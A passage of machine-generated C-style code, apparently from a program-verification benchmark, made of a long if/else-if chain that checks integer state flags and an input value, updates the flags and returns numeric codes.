if(((!(a12==1)&&(!(a11==1)&&((a6==1)&&((!(a17==1)&&((a5==1)&&(!(a2==1)&&(((input==6)&&((((a27==1)&&(a26==1))||((a27==1)&&!(a26==1)))||((a26==1)&&!(a27==1))))&&!(a7==1)))))&&(a29==1)))))&&((((!(a16==1)||(a1==1))&&(a3==2))||(a2==1))&&(a18==1)))){ a26 = 1; a10 = 1; a29 = 1; a27 = 0; a1 = 1; return 23; } else if(((((((a1==1)&&((input==3)&&(((a12==1)&&(!(a26==1)&&!(a27==1)))||(((a26==1)&&(a27==1))&&!(a12==1)))))&&!(a7==1))&&(a18==1))&&(a4==1))&&((a6==1)&&((a5==1)&&((a20==1)||(!(a1==1)||(((a3==2)&&((a10==1)||!(a10==1)))&&(a11==1)))))))){ a26 = 0; a3 = 0; a6 = 0; a12 = 1; a27 = 0; a2 = 0; a14 = 0; a11 = 0; a8 = 0; return -1; } else if(((((a18==1)&&((a1==1)&&((((a0==1)&&(!(a6==1)&&((((a12==1)&&(!(a26==1)&&!(a27==1)))||(((a27==1)&&(a26==1))&&!(a12==1)))&&(input==3))))&&!(a11==1))&&(a0==1))))&&(a16==1))&&(((a3==2)&&(((a5==1)&&(a0==1))&&(a1==1)))&&(a16==1)))){ a12 = 0; a26 = 1; a4 = 0; a13 = 0; a25 = 1; a27 = 1; a11 = 1; return 23; } else if(((!(a16==1)||(!(a8==1)&&(!(a0==1)||(((a16==1)&&(a6==1))&&(a11==1)))))&&((a16==1)&&((((a18==1)&&((a3==2)&&((a4==1)&&((((a12==1)&&(!(a26==1)&&!(a27==1)))||(!(a12==1)&&((a27==1)&&(a26==1))))&&(input==6)))))&&(a22==1))&&(a5==1))))){ a16 = 1; a3 = 0; a26 = 1; a22 = 1; a7 = 0; a27 = 1; a12 = 1; return -1; } else if(((((a6==1)&&(!(a7==1)&&(((a11==1)&&(((((input==5)&&((!(a26==1)&&!(a27==1))||((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1)))))&&(a18==1))&&!(a2==1))&&!(a19==1)))&&(a10==1))))&&!(a12==1))&&(((a3==0)&&(!(a0==1)||((a22==1)&&!(a8==1))))&&!(a5==1)))){ a9 = 0; a3 = 1; a1 = 0; a5 = 1; a12 = 1; a11 = 0; a26 = 1; a27 = 0; a29 = 0; a6 = 0; return 23; } else if((((!(a20==1)&&(((((a5==1)&&((((!(a26==1)&&!(a27==1))&&(a12==1))||(!(a12==1)&&((a26==1)&&(a27==1))))&&(input==5)))&&!(a17==1))&&(a22==1))&&(a3==2)))&&!(a11==1))&&(((a25==1)||((a18==1)&&(((a0==1)&&!(a14==1))&&!(a6==1))))&&(a22==1)))){ a4 = 0; a12 = 0; a6 = 1; a26 = 0; a9 = 0; a0 = 0; a27 = 1; a3 = 0; a11 = 1; return -1; } else if(((!(a2==1)&&((((((((((a26==1)||!(a26==1))&&(input==1))&&!(a14==1))&&(a11==1))&&!(a17==1))&&(a18==1))&&(a4==1))&&!(a6==1))&&!(a8==1)))&&((((a27==1)&&((a5==1)&&((a22==1)||(a23==1))))&&(a12==1))&&(a3==2)))){ a16 = 1; a26 = 1; a3 = 0; a4 = 1; a6 = 1; a2 = 0; return -1; } else if(((((!(a7==1)&&(!(a20==1)&&(((a6==1)&&(((a3==2)&&((input==3)&&((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))||(!(a27==1)&&!(a26==1)))))&&!(a12==1)))&&(a4==1))))&&(a11==1))&&(a18==1))&&((!(a10==1)||(((a15==1)||(a25==1))&&(a5==1)))&&!(a2==1)))){ a10 = 1; a12 = 1; a27 = 1; a29 = 1; a14 = 0; a3 = 0; a26 = 1; return -1; } else if(((((a11==1)&&((((a16==1)&&((a6==1)&&((input==4)&&(((!(a27==1)&&!(a26==1))&&(a12==1))||(!(a12==1)&&((a27==1)&&(a26==1)))))))&&(a18==1))&&(a3==0)))&&(a10==1))&&((((!(a5==1)&&((a15==1)||(a25==1)))||(a7==1))&&!(a2==1))&&!(a25==1)))){ a26 = 1; a29 = 0; a0 = 0; a27 = 0; a12 = 1; a6 = 0; a5 = 1; a8 = 1; return -1; } else if((((a11==1)&&(!(a6==1)&&(((a27==1)&&((a0==1)&&((!(a23==1)&&(!(a12==1)&&(input==5)))&&!(a26==1))))&&(a5==1))))&&((a3==2)&&((a23==1)||(((((a4==1)&&(a18==1))&&(a15==1))||!(a0==1))||!(a29==1)))))){ a14 = 0; a29 = 1; a10 = 1; return -1; } else if((((a3==0)&&((!(a5==1)&&(!(a14==1)&&(((((a0==1)||(a23==1))&&!(a25==1))||!(a1==1))||!(a29==1))))&&(a6==1)))&&((a11==1)&&((((((((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1)))||(!(a26==1)&&!(a27==1)))&&(input==2))&&(a18==1))&&!(a20==1))&&!(a12==1))))){ if((a5==1)){ a3 = 1; a26 = 1; a22 = 0; a15 = 0; a5 = 1; a21 = 1; a27 = 0; }else{ a3 = 1; a6 = 0; a5 = 1; a13 = 0; a26 = 1; a2 = 1; a22 = 0; a27 = 0; a11 = 0; } return -1; } else if(((!(a27==1)&&(!(a23==1)&&(!(a11==1)&&(((a12==1)&&(!(a26==1)&&((a3==2)&&(input==4))))&&(a4==1)))))&&(((a15==1)&&((a23==1)||((a6==1)&&(!(a8==1)&&((a23==1)||((a18==1)&&(a22==1)))))))&&(a5==1)))){ a11 = 1; a4 = 1; a26 = 1; a23 = 0; a12 = 0; a19 = 0; a27 = 1; a3 = 1; return -1; } else if(((((!(a16==1)&&((((a3==2)&&(!(a22==1)&&(!(a10==1)&&(((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1)))&&(input==1)))))&&(a12==1))&&(a25==1)))&&(a20==1))&&!(a11==1))&&((((a5==1)&&((a18==1)&&(a1==1)))&&!(a15==1))&&(a6==1)))){ a12 = 0; a14 = 1; a28 = 1; a9 = 1; a27 = 0; a26 = 0; return 24; } else if(((((a18==1)&&(((!(a22==1)||((a15==1)&&(a4==1)))||(a25==1))&&(a5==1)))&&!(a11==1))&&(((a3==2)&&((!(a7==1)&&((input==3)&&((!(a12==1)&&(((a6==1)&&!(a26==1))&&!(a27==1)))||((((a26==1)&&!(a6==1))&&(a27==1))&&(a12==1)))))&&(a22==1)))&&(a0==1)))){ a26 = 0; a1 = 1; a11 = 1; a27 = 0; a6 = 0; a22 = 1; a12 = 0; a14 = 0; return 21; } else if((((a16==1)&&(!(a5==1)&&((a3==0)&&(((input==2)&&(((!(a26==1)&&!(a27==1))&&(a12==1))||(((a27==1)&&(a26==1))&&!(a12==1))))&&(a6==1)))))&&(!(a29==1)||((a17==1)||(((((a17==1)||((a15==1)&&(a11==1)))||!(a10==1))&&(a18==1))||(a7==1)))))){ if((a0==1)){ a6 = 0; a13 = 0; a5 = 1; a7 = 1; a12 = 0; a2 = 1; a26 = 0; a27 = 1; }else{ a5 = 1; a12 = 1; a9 = 0; a27 = 0; a16 = 0; a2 = 1; a26 = 1; } return -1; } else if((((!(a14==1)&&((a0==1)&&(a18==1)))&&(a16==1))&&((!(a19==1)&&((!(a23==1)&&((a5==1)&&((a3==2)&&((input==6)&&((((a11==1)&&((((a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1)))||((a11==1)&&((!(a27==1)&&(!(a6==1)&&!(a26==1)))&&!(a12==1))))||(((a12==1)&&(((a6==1)&&(a26==1))&&(a27==1)))&&!(a11==1)))))))&&!(a19==1)))&&(a16==1)))){ a11 = 1; a6 = 0; a12 = 0; a26 = 0; a1 = 1; a19 = 0; a20 = 0; a27 = 0; return -1; } else if(((!(a10==1)||((!(a1==1)||((((a23==1)||(((a11==1)&&((a29==1)&&!(a12==1)))&&!(a8==1)))&&(a6==1))&&(a3==0)))&&(a18==1)))&&(((((input==6)&&((!(a26==1)&&!(a27==1))||(((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))))&&!(a7==1))&&!(a5==1))&&!(a2==1)))){ a5 = 1; a25 = 1; a12 = 1; a9 = 0; a27 = 1; a26 = 0; return -1; } else if((((!(a14==1)&&(((a18==1)&&((input==4)&&(((!(a11==1)&&(((!(a27==1)&&(!(a26==1)&&!(a6==1)))&&!(a12==1))&&(a3==2)))&&(a5==1))||(!(a5==1)&&(((a3==0)&&((a12==1)&&(((a26==1)&&(a6==1))&&(a27==1))))&&(a11==1))))))&&!(a25==1)))&&!(a2==1))&&((a10==1)&&(!(a7==1)&&((a10==1)&&!(a19==1)))))){ a5 = 1; a19 = 1; a27 = 1; a12 = 0; a26 = 0; a21 = 0; a3 = 2; a6 = 1; a11 = 0; return -1; } else if((((a5==1)&&(((!(a12==1)&&((((a16==1)||(a14==1))||(a19==1))&&!(a17==1)))&&!(a25==1))&&!(a11==1)))&&((((a18==1)&&((a3==2)&&((((((a26==1)&&(a27==1))||(!(a26==1)&&(a27==1)))||((a26==1)&&!(a27==1)))&&(input==3))&&!(a2==1))))&&(a6==1))&&(a29==1)))){ a27 = 1; a26 = 1; a11 = 1; a6 = 0; a22 = 1; a23 = 0; a20 = 0; return 23; } else if((((!(a12==1)&&((((a19==1)||((a22==1)&&!(a6==1)))&&(a5==1))||!(a16==1)))&&!(a26==1))&&((a4==1)&&((((a16==1)&&(((((input==3)&&!(a11==1))&&!(a25==1))&&(a27==1))&&(a18==1)))&&(a10==1))&&(a3==1))))){ a6 = 1; a11 = 1; a3 = 2; a7 = 0; a12 = 1; a17 = 0; return 22; } else if(((!(a17==1)&&((a1==1)&&(((a15==1)&&((!(a11==1)&&((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))&&(input==1)))&&(a15==1)))&&(a12==1))))&&(((a18==1)&&((a16==1)&&(((a3==2)&&((a22==1)&&(a5==1)))&&(a6==1))))&&!(a8==1)))){ a11 = 1; a0 = 1; a27 = 0; a12 = 0; a6 = 0; a23 = 0; a16 = 1; a3 = 0; a26 = 1; return -1; } else if(((((a3==2)&&(((((a29==1)||(a14==1))&&!(a6==1))||(a23==1))||!(a4==1)))&&(a5==1))&&(!(a27==1)&&(((a12==1)&&(((!(a2==1)&&((a22==1)&&((input==1)&&((a26==1)||!(a26==1)))))&&(a18==1))&&(a11==1)))&&!(a14==1))))){ a27 = 1; a14 = 0; a15 = 1; a3 = 0; a6 = 1; a10 = 1; a26 = 1; return -1; } else if((((!(a2==1)&&(((((input==3)&&(((a26==1)&&!(a27==1))||(((a26==1)&&(a27==1))||((a27==1)&&!(a26==1)))))&&(a6==1))&&(a18==1))&&(a3==2)))&&!(a23==1))&&((((a5==1)&&(((((a17==1)||(a22==1))&&!(a25==1))||(a20==1))&&(a4==1)))&&(a12==1))&&(a11==1)))){ a3 = 0; a22 = 1; a26 = 1; a14 = 0; a29 = 1; a27 = 1; return -1; } else if(((!(a6==1)&&(((!(a25==1)&&((a3==1)&&((a16==1)&&(a26==1))))&&!(a19==1))&&!(a20==1)))&&((((((a1==1)&&((a18==1)&&((!(a12==1)&&(input==3))&&(a5==1))))&&!(a27==1))&&!(a8==1))&&!(a7==1))&&!(a11==1)))){ a6 = 1; a3 = 0; a11 = 1; a20 = 0; a14 = 0; a27 = 1; a12 = 1; a7 = 0; return -1; } else if((((a15==1)&&(!(a25==1)&&(((a3==2)&&((((((a5==1)&&(((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1)))&&(input==1)))&&!(a2==1))&&!(a11==1))&&(a12==1))&&(a18==1)))&&!(a17==1))))&&((!(a16==1)||((a1==1)&&!(a6==1)))&&(a4==1)))){ a4 = 1; a11 = 1; a25 = 0; a26 = 1; a27 = 1; a3 = 0; a23 = 0; a6 = 1; return -1; } else if((((((a18==1)&&(((a27==1)&&(!(a11==1)&&(input==4)))&&!(a2==1)))&&!(a6==1))&&!(a12==1))&&((!(a26==1)&&(((a25==1)||(((!(a8==1)&&((a19==1)||(a16==1)))&&!(a17==1))&&!(a8==1)))&&(a3==1)))&&(a5==1)))){ a27 = 0; a17 = 0; a22 = 1; a26 = 1; a0 = 1; return 25; } else if(((((!(a19==1)&&((a11==1)&&(((((!(a5==1)&&((input==1)&&((!(a26==1)&&!(a27==1))||((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))))&&!(a12==1))&&(a22==1))&&(a6==1))&&(a18==1))))&&(a10==1))&&(a3==0))&&(((!(a16==1)||(a22==1))||!(a10==1))||!(a29==1)))){ if((a2==1)){ a12 = 1; a15 = 0; a2 = 1; a27 = 1; a6 = 0; a26 = 1; a24 = 0; a3 = 2; a5 = 1; }else{ a6 = 0; a21 = 0; a29 = 0; a26 = 1; a8 = 1; a11 = 0; a27 = 1; a5 = 1; a12 = 1; } return -1; } else if(((((a4==1)&&((a22==1)&&((a11==1)&&((a0==1)&&((((input==6)&&(a18==1))&&(a29==1))&&!(a6==1))))))&&(a3==2))&&((a27==1)&&(((a5==1)&&(!(a12==1)&&((a26==1)&&((a22==1)&&(a1==1)))))||!(a22==1))))){ a20 = 0; a14 = 0; a25 = 0; return 23; } else if(((((((a1==1)&&(!(a27==1)&&((a18==1)&&(a16==1))))||(a8==1))||(a20==1))&&(a3==2))&&(((!(a19==1)&&((!(a11==1)&&((((input==6)&&(a5==1))&&(a16==1))&&(a12==1)))&&!(a26==1)))&&!(a19==1))&&(a6==1)))){ a27 = 1; a12 = 0; a0 = 1; a23 = 0; a29 = 1; a3 = 1; return -1; } else if(((((((a29==1)&&(a15==1))||(a14==1))&&(a4==1))&&!(a5==1))&&(((((a18==1)&&((a12==1)&&(!(a2==1)&&(!(a23==1)&&(((((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1)))&&(input==4))&&!(a17==1))))))&&(a3==0))&&(a6==1))&&(a11==1)))){ a27 = 1; a3 = 1; a7 = 1; a22 = 0; a11 = 0; a6 = 0; a26 = 1; a12 = 0; a5 = 1; a19 = 1; return -1; } else if((((a17==1)&&((a20==1)&&((!(a11==1)&&((a6==1)&&((a18==1)&&(((input==2)&&((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1))))&&!(a0==1)))))&&(a12==1))))&&((!(a16==1)&&(((a5==1)&&((a15==1)&&(a3==2)))&&!(a22==1)))&&(a23==1)))){ a3 = 0; a6 = 0; a4 = 0; a26 = 0; a27 = 0; a8 = 1; a22 = 0; return -1; } else if(((((a18==1)&&((!(a8==1)&&(((a6==1)&&(input==5))&&!(a23==1)))&&(a12==1)))&&(a5==1))&&((a16==1)&&(!(a27==1)&&(!(a2==1)&&((a20==1)||(!(a26==1)&&(!(a11==1)&&(!(a15==1)||((a10==1)&&(a3==2))))))))))){ a6 = 0; a22 = 1; a11 = 1; a27 = 1; a12 = 0; a19 = 0; a16 = 1; return 21; } else if((((a4==1)&&((a12==1)&&((a6==1)&&(((a18==1)&&((a10==1)&&(((a16==1)&&(a0==1))&&(a5==1))))&&!(a11==1)))))&&((!(a17==1)&&((((input==3)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&!(a20==1))&&(a3==2)))&&(a16==1)))){ a27 = 1; a26 = 1; a8 = 0; a11 = 1; a3 = 1; a15 = 1; return -1; } else if((((!(a7==1)&&(((a6==1)&&((a5==1)&&(((input==2)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&(a18==1))))&&(a12==1)))&&!(a8==1))&&((((a4==1)&&((a0==1)&&((a3==2)&&((a10==1)&&!(a11==1)))))&&(a0==1))||(a8==1)))){ a10 = 1; a27 = 0; a2 = 0; a23 = 0; a26 = 0; a3 = 1; return -1; } else if((((a3==2)&&(!(a11==1)&&(!(a17==1)&&((a19==1)||((a4==1)&&((a1==1)&&!(a12==1)))))))&&((((!(a7==1)&&((a5==1)&&((a18==1)&&((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))&&(input==1)))))&&!(a23==1))&&!(a6==1))&&!(a2==1)))){ a12 = 1; a27 = 0; a28 = 1; a26 = 1; a21 = 1; return -1; } else if(((!(a29==1)||((a4==1)&&(((a5==1)&&((a17==1)||(a22==1)))&&(a1==1))))&&(!(a12==1)&&(((a26==1)&&((a27==1)&&((a3==2)&&((a11==1)&&(!(a8==1)&&(!(a25==1)&&((input==5)&&(a18==1))))))))&&!(a6==1))))){ a4 = 1; a22 = 1; a7 = 0; return -1; } else if((((((a4==1)&&((!(a20==1)&&(!(a19==1)&&(((((((a6==1)&&(a26==1))&&(a27==1))&&(a12==1))&&!(a11==1))||(((a11==1)&&(!(a12==1)&&(!(a27==1)&&((a26==1)&&!(a6==1)))))||(((!(a27==1)&&(!(a26==1)&&!(a6==1)))&&!(a12==1))&&(a11==1))))&&(input==5))))&&(a5==1)))&&!(a7==1))&&(a3==2))&&((a18==1)&&((a15==1)&&((a1==1)&&(a4==1)))))){ a0 = 1; a6 = 0; a26 = 0; a12 = 0; a25 = 0; a27 = 1; a11 = 1; a20 = 0; return -1; } else if(((((((((a27==1)&&(a22==1))&&!(a17==1))&&!(a20==1))&&(a3==1))&&!(a11==1))&&!(a23==1))&&((((a5==1)&&((a29==1)&&((a18==1)&&((((input==1)&&!(a26==1))&&!(a12==1))&&!(a6==1)))))&&(a10==1))&&(a4==1)))){ a7 = 0; a26 = 1; a6 = 1; a11 = 1; a4 = 1; a12 = 1; a3 = 0; a8 = 0; return -1; } else if((((((!(a11==1)&&((a5==1)&&(input==2)))&&(a15==1))&&(a1==1))&&(a3==1))&&(!(a12==1)&&(!(a6==1)&&((a0==1)&&((!(a19==1)&&(!(a16==1)||(((a26==1)&&((a15==1)&&(a18==1)))&&!(a27==1))))&&!(a17==1))))))){ a6 = 1; a25 = 0; a17 = 0; a23 = 0; a3 = 0; a27 = 1; a11 = 1; a12 = 1; return -1; } else if((((((a22==1)&&((!(a27==1)&&(!(a6==1)&&(((a22==1)&&(a3==1))&&!(a12==1))))&&(a0==1)))&&!(a20==1))||!(a16==1))&&(!(a26==1)&&((a29==1)&&(!(a14==1)&&(!(a11==1)&&((a5==1)&&((input==4)&&(a18==1))))))))){ a11 = 1; a10 = 1; a12 = 1; a26 = 1; a15 = 1; a6 = 1; a3 = 0; a27 = 1; a29 = 1; return -1; } else if(((((a5==1)&&((!(a11==1)&&(!(a23==1)&&((a29==1)&&(((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))&&(input==2))&&!(a19==1)))))&&!(a23==1)))&&!(a6==1))&&(!(a20==1)&&(!(a12==1)&&(((a29==1)&&((a22==1)&&(a3==2)))&&(a18==1)))))){ a6 = 1; a11 = 1; a29 = 0; a26 = 1; a27 = 0; a13 = 1; a2 = 1; return -1; } else if(((((a29==1)&&((((a22==1)&&(((((((a27==1)&&(a26==1))||((a27==1)&&!(a26==1)))||(!(a27==1)&&(a26==1)))&&(input==5))&&(a6==1))&&(a5==1)))&&(a3==2))&&!(a20==1)))&&!(a2==1))&&((a11==1)&&((((!(a16==1)||(a1==1))&&!(a25==1))&&(a18==1))&&(a12==1))))){ a15 = 1; a27 = 1; a3 = 0; a16 = 1; a22 = 1; a26 = 1; return -1; } else if(((!(a15==1)||(((!(a23==1)&&(((((a0==1)&&!(a11==1))||(a20==1))&&(a5==1))&&(a6==1)))&&(a1==1))||(a8==1)))&&((((a0==1)&&(((a3==2)&&((input==3)&&(a12==1)))&&!(a27==1)))&&(a18==1))&&!(a26==1)))){ a26 = 1; a11 = 1; a23 = 0; a10 = 1; a6 = 0; a12 = 0; a3 = 1; a4 = 1; return -1; } else if(((!(a6==1)&&((!(a8==1)&&((a16==1)&&((a22==1)&&((a26==1)&&(!(a11==1)&&(input==6))))))&&(a18==1)))&&(!(a27==1)&&((((!(a1==1)||(((a22==1)&&!(a12==1))&&(a0==1)))&&(a3==1))&&(a10==1))&&(a5==1))))){ a27 = 1; a3 = 0; a6 = 1; a12 = 1; a29 = 1; a19 = 0; a4 = 1; a11 = 1; return -1; } else if(((!(a26==1)&&(((a3==1)&&((a1==1)&&((!(a6==1)&&((a5==1)&&(input==6)))&&(a18==1))))&&!(a11==1)))&&(!(a12==1)&&((((a0==1)&&((((a0==1)&&(a10==1))||!(a10==1))&&(a22==1)))&&(a29==1))&&!(a27==1))))){ if((a7==1)){ a23 = 0; a3 = 2; a6 = 1; a1 = 1; }else{ a19 = 0; a26 = 1; a0 = 1; a12 = 1; a3 = 2; a11 = 1; a27 = 1; } return 25; } else if(((!(a29==1)||((!(a11==1)&&((a22==1)&&(a16==1)))&&(a5==1)))&&((a10==1)&&((((!(a7==1)&&((a29==1)&&(((!(a12==1)&&(!(a27==1)&&(!(a26==1)&&(a6==1))))||((a12==1)&&((!(a6==1)&&(a26==1))&&(a27==1))))&&(input==4))))&&(a18==1))&&(a3==2))&&(a29==1))))){ a22 = 1; a6 = 1; a4 = 1; a3 = 0; a0 = 1; a11 = 1; a12 = 1; a26 = 1; a27 = 1; return -1; } else if(((!(a25==1)&&((a15==1)&&((((a5==1)&&(((a3==2)&&(((!(a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1)))&&!(a11==1)))||(((a11==1)&&(((((a6==1)&&(a26==1))&&(a27==1))&&(a12==1))&&(a3==0)))&&!(a5==1)))&&(input==6))))&&((a14==1)||(!(a2==1)&&((((a4==1)&&(a0==1))&&(a18==1))&&!(a19==1)))))){ a10 = 0; a8 = 1; a5 = 1; a12 = 1; a3 = 0; a9 = 0; a11 = 0; a26 = 1; a27 = 1; a6 = 0; return -1; } else if((((a10==1)||!(a16==1))&&((a0==1)&&(!(a25==1)&&(!(a17==1)&&((a18==1)&&((!(a19==1)&&((input==1)&&(((a5==1)&&(!(a11==1)&&(((!(a27==1)&&(!(a6==1)&&!(a26==1)))&&!(a12==1))&&(a3==2))))||(((a11==1)&&((a3==0)&&((a12==1)&&((a27==1)&&((a6==1)&&(a26==1))))))&&!(a5==1)))))&&!(a25==1)))))))){ if((a13==1)){ a4 = 0; a5 = 1; a26 = 1; a11 = 1; a12 = 0; a28 = 0; a2 = 1; a3 = 0; a27 = 0; a6 = 1; }else{ a8 = 1; a3 = 2; a27 = 1; a29 = 0; a5 = 1; a6 = 0; a11 = 0; a12 = 1; a26 = 0; a24 = 1; } return -1; } else if(((!(a22==1)||((a19==1)||(!(a10==1)||((a12==1)&&(!(a27==1)&&(((a0==1)&&(a18==1))&&(a11==1)))))))&&(!(a20==1)&&((a10==1)&&(((a5==1)&&(!(a6==1)&&((a0==1)&&((input==5)&&((a26==1)||!(a26==1))))))&&(a3==2)))))){ a6 = 1; a23 = 0; a7 = 0; a15 = 1; a3 = 0; a26 = 1; a27 = 1; return -1; } else if((((a12==1)&&(((a2==1)||(a10==1))&&!(a25==1)))&&(((a3==0)&&(((a18==1)&&(!(a23==1)&&((((a15==1)&&((a29==1)&&(((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1)))&&(input==1))))&&!(a5==1))&&(a11==1))))&&(a1==1)))&&(a6==1)))){ if((a29==1)){ a5 = 1; a21 = 0; a12 = 0; a11 = 0; a26 = 0; a22 = 0; a3 = 1; a13 = 0; a27 = 0; }else{ a5 = 1; a9 = 0; a11 = 0; a16 = 0; a26 = 0; a20 = 1; a6 = 0; a27 = 1; } return 25; } else if((((a3==2)&&((((a29==1)&&(((input==6)&&((a26==1)||!(a26==1)))&&(a4==1)))&&(a29==1))&&!(a20==1)))&&(!(a4==1)||(((a11==1)&&((a5==1)&&(((a18==1)&&((a12==1)&&((a27==1)&&(a29==1))))&&(a10==1))))&&!(a6==1))))){ a8 = 0; a4 = 1; a6 = 1; a3 = 0; a26 = 1; a15 = 1; return -1; } else if(((!(a16==1)||(!(a26==1)&&(((a15==1)&&(a3==2))&&!(a17==1))))&&((a29==1)&&((a5==1)&&(((!(a23==1)&&((!(a23==1)&&((a27==1)&&(!(a12==1)&&(!(a6==1)&&(input==4)))))&&(a18==1)))&&(a11==1))&&(a16==1)))))){ a6 = 1; a27 = 0; a16 = 1; a23 = 0; a26 = 1; a20 = 0; return -1; } else if((((a15==1)&&(((a11==1)&&(((a5==1)&&((!(a10==1)||(a1==1))&&(a3==2)))||(a7==1)))||!(a22==1)))&&((((a18==1)&&((!(a6==1)&&((!(a12==1)&&(input==3))&&(a1==1)))&&(a29==1)))&&(a27==1))&&!(a26==1)))){ a2 = 0; a0 = 1; a10 = 1; return -1; } else if(((!(a14==1)&&(((a5==1)&&(!(a6==1)&&((input==4)&&(((!(a26==1)&&!(a27==1))&&(a12==1))||(!(a12==1)&&((a27==1)&&(a26==1)))))))&&!(a23==1)))&&((a2==1)||((!(a1==1)||(((((a18==1)&&(a1==1))&&!(a11==1))&&(a29==1))&&(a3==2)))&&!(a8==1))))){ a27 = 1; a16 = 0; a26 = 1; a12 = 0; a8 = 1; a6 = 1; a3 = 1; a23 = 1; return -1; } else if((((a18==1)&&((a7==1)||(!(a2==1)&&(((((a16==1)&&(a11==1))&&(a6==1))&&!(a23==1))||(a23==1)))))&&((a5==1)&&((a3==2)&&((!(a14==1)&&((a12==1)&&((input==2)&&((((a26==1)&&(a27==1))||((a27==1)&&!(a26==1)))||((a26==1)&&!(a27==1))))))&&(a22==1)))))){ a17 = 0; a19 = 0; a6 = 0; a26 = 1; a27 = 0; a1 = 1; return 25; } else if((((a4==1)&&(((a6==1)&&((a10==1)&&!(a11==1)))&&(a12==1)))&&(!(a7==1)&&(((a5==1)&&(((((((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))&&(input==6))&&(a3==2))&&(a16==1))&&!(a23==1))&&(a18==1))&&(a0==1)))&&!(a19==1))))){ a19 = 0; a27 = 0; a26 = 0; a8 = 0; return 26; } else if(((((!(a16==1)||((((a5==1)&&(((a22==1)&&!(a23==1))||!(a22==1)))&&(a6==1))&&(a16==1)))&&(a18==1))||(a2==1))&&((((a3==2)&&((input==4)&&(((!(a27==1)&&!(a26==1))&&(a12==1))||(!(a12==1)&&((a27==1)&&(a26==1))))))&&(a16==1))&&(a11==1)))){ a3 = 0; a27 = 1; a16 = 1; a12 = 1; a19 = 0; a26 = 1; a22 = 1; return -1; } else if((((a18==1)&&((a4==1)&&((a14==1)||((!(a5==1)&&(a16==1))||!(a1==1)))))&&((((((a11==1)&&((a12==1)&&((a6==1)&&((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))&&(input==5)))))&&!(a8==1))&&!(a14==1))&&(a3==0))&&!(a2==1)))){ if((a0==1)){ a17 = 1; a3 = 2; a20 = 1; a27 = 0; a26 = 0; a12 = 0; a11 = 0; a5 = 1; a1 = 0; }else{ a27 = 0; a1 = 0; a3 = 1; a6 = 0; a9 = 1; a15 = 0; a5 = 1; a26 = 1; } return -1; } else if(((!(a20==1)&&((((!(a10==1)||((a6==1)&&((!(a0==1)||(a10==1))&&!(a2==1))))||!(a1==1))&&!(a14==1))&&(a11==1)))&&((a18==1)&&(((a12==1)&&(((input==3)&&((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1))))&&!(a5==1)))&&(a3==0))))){ if((a22==1)){ a16 = 0; a3 = 2; a23 = 1; a27 = 0; a11 = 0; a5 = 1; a26 = 1; a1 = 0; }else{ a27 = 1; a3 = 2; a2 = 1; a11 = 0; a10 = 0; a16 = 0; a26 = 0; a5 = 1; } return -1; } else if((((((a18==1)&&(!(a20==1)&&(a0==1)))&&(a12==1))||!(a1==1))&&(((((a11==1)&&(!(a23==1)&&(!(a5==1)&&((((input==6)&&(((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1))))&&!(a14==1))&&!(a20==1)))))&&(a6==1))&&(a3==0))&&(a1==1)))){ if((a21==1)){ a22 = 0; a12 = 0; a24 = 1; a27 = 1; a26 = 1; a5 = 1; a9 = 0; }else{ a28 = 1; a5 = 1; a11 = 0; a7 = 1; a3 = 2; a4 = 0; a27 = 1; a12 = 0; a26 = 0; } return -1; } else if(((!(a19==1)&&((a4==1)&&((((a18==1)&&(a0==1))&&(a11==1))&&!(a5==1))))&&((a10==1)&&((a15==1)&&((!(a14==1)&&((a6==1)&&((a3==0)&&((((!(a26==1)&&!(a27==1))&&(a12==1))||(!(a12==1)&&((a27==1)&&(a26==1))))&&(input==1)))))&&(a16==1)))))){ a27 = 0; a25 = 1; a2 = 1; a23 = 1; a26 = 1; a12 = 1; a5 = 1; return -1; } else if((((a0==1)&&((((a6==1)&&(!(a5==1)&&((((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1)))&&(input==2))))&&!(a2==1))&&(a3==0)))&&((a22==1)&&((a12==1)&&(((a18==1)&&((((a22==1)&&(a11==1))&&!(a23==1))||!(a4==1)))&&!(a7==1)))))){ a27 = 0; a3 = 2; a26 = 0; a5 = 1; a7 = 1; a11 = 0; a28 = 0; a2 = 1; return -1; } else if(((((!(a11==1)&&(!(a6==1)&&((((input==4)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&!(a8==1))&&(a18==1))))&&(a16==1))&&!(a17==1))&&((a1==1)&&((a20==1)||((((a5==1)&&((a3==2)&&(a1==1)))&&(a12==1))||!(a4==1)))))){ a11 = 1; a27 = 1; a25 = 0; a17 = 0; a6 = 1; a3 = 0; a7 = 0; a26 = 1; return -1; } else if((((((!(a7==1)&&(((input==3)&&(a5==1))&&(a16==1)))&&(a18==1))&&!(a27==1))&&!(a26==1))&&((!(a11==1)&&((!(a17==1)&&((a3==1)&&(!(a23==1)&&(!(a16==1)||((a10==1)||(a14==1))))))&&!(a12==1)))&&!(a6==1)))){ a6 = 1; a10 = 1; a3 = 2; a0 = 1; a11 = 1; a26 = 1; return 21; } else if((((a27==1)&&(!(a12==1)&&((a11==1)&&((!(a2==1)&&((a18==1)&&(((!(a25==1)&&(((a3==2)&&(input==2))&&(a15==1)))&&(a29==1))&&(a15==1))))&&!(a25==1)))))&&((a5==1)&&(((a10==1)&&(a26==1))&&!(a6==1))))){ a17 = 0; a15 = 1; a2 = 0; return 23; } 